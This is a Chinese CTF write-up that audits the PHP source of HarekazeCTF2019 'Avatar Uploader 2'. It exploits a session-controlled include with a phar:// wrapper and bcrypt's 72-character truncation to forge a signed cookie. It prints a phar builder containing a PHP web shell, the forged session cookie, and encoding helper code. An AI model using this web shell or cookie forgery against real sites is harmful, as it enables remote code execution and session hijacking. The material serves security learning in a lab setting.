CTF Web安全

[HarekazeCTF2019]Avatar Uploader 2(include phar+代码审计)

Posted on 2020-06-05,3 min read

github下源码审计
首先从index.php看。
导入了三个文件

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

config.php定义了一些常量
util.php定义了一些函数
session.php定义了一个自己实现的cookie加密数据。。
分析下这个类文件。从__construct开始
构造函数传入了两个值。

构造函数分析完了。继续看index.php

接着包含了两个文件。而且。这边第二个变量可控。可以包含任意文件
这种带后缀的可以用zip:// 或phar://绕

include('common.css');
include($session->get('theme', 'light') . '.css');

可以构造一个phar://1.png/xxx.css
这里的值是由$session->get()函数得到的
分析下函数

从data的json解析后取theme这个键的值。如果没有就为light
那么。我们可以手动加上一个theme这个键。值为pharxxx
但是。在new对象的时候。他会检验数据和签名
看看他是怎么加密的

  private function verify($string, $signature) {
    return password_verify($this->secret . $string, $signature);
  }

  private function sign($string) {
    return password_hash($this->secret . $string, PASSWORD_BCRYPT);
  }

用password_hash进行加密。然后用password_verify进行验证
在php手册中。

使用PASSWORD_BCRYPT 做算法,将使 password 参数最长为72个字符,超过会被截断。

那么。只要我们的data大于72。那么他的签名就一直正确
大致逻辑就是这样。
先123_123登陆一下
upload可以上传文件。并且没过滤
生成phar

<?php
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('GIF89a'. '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

上传后。得到session

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6IjE2Y2ZlNmIwLnBuZyIsImZsYXNoIjp7InR5cGUiOiJpbmZvIiwibWVzc2FnZSI6IllvdXIgYXZhdGFyIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSB1cGRhdGVkISJ9fQ.JDJ5JDEwJDIuOTVjOTZXcVZjNmM2ZFhWR2tSZXUvMUpTek9mYk1QSGl0MDVIdjd6LzVLVkxLbkkvWDdt

将点号前面的数据。用它自带的base64解密下得到

{"name":"123_123","avatar":"16cfe6b0.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"}}

120个长度。password_hash仅仅只会对前72个字符进行加密
我们可以加上个theme属性。然后继续使用它的签名。得到

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6IjE2Y2ZlNmIwLnBuZyIsImZsYXNoIjp7InR5cGUiOiJpbmZvIiwibWVzc2FnZSI6IllvdXIgYXZhdGFyIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSB1cGRhdGVkISJ9LCJ0aGVtZSI6InBoYXI6Ly91cGxvYWRzLzE2Y2ZlNmIwLnBuZy9leHAifQ.JDJ5JDEwJDIuOTVjOTZXcVZjNmM2ZFhWR2tSZXUvMUpTek9mYk1QSGl0MDVIdjd6LzVLVkxLbkkvWDdt
<?php
function urlsafe_base64_decode($data) {
  return base64_decode(str_replace(['-', '_'], ['+', '/'], $data) . str_repeat('=', 3 - (3 + strlen($data)) % 4));
}
function urlsafe_base64_encode($data) {
  return rtrim(str_replace(['+', '/'], ['-', '_'], base64_encode($data)), '=');
}
$data='eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6IjE2Y2ZlNmIwLnBuZyIsImZsYXNoIjp7InR5cGUiOiJpbmZvIiwibWVzc2FnZSI6IllvdXIgYXZhdGFyIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSB1cGRhdGVkISJ9fQ';
print(urlsafe_base64_decode($data));

$data='{"name":"123_123","avatar":"16cfe6b0.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/16cfe6b0.png/exp"}';
print(urlsafe_base64_encode($data));

下一篇: l33t-hoster(.htaccess+disable_function+计算器)→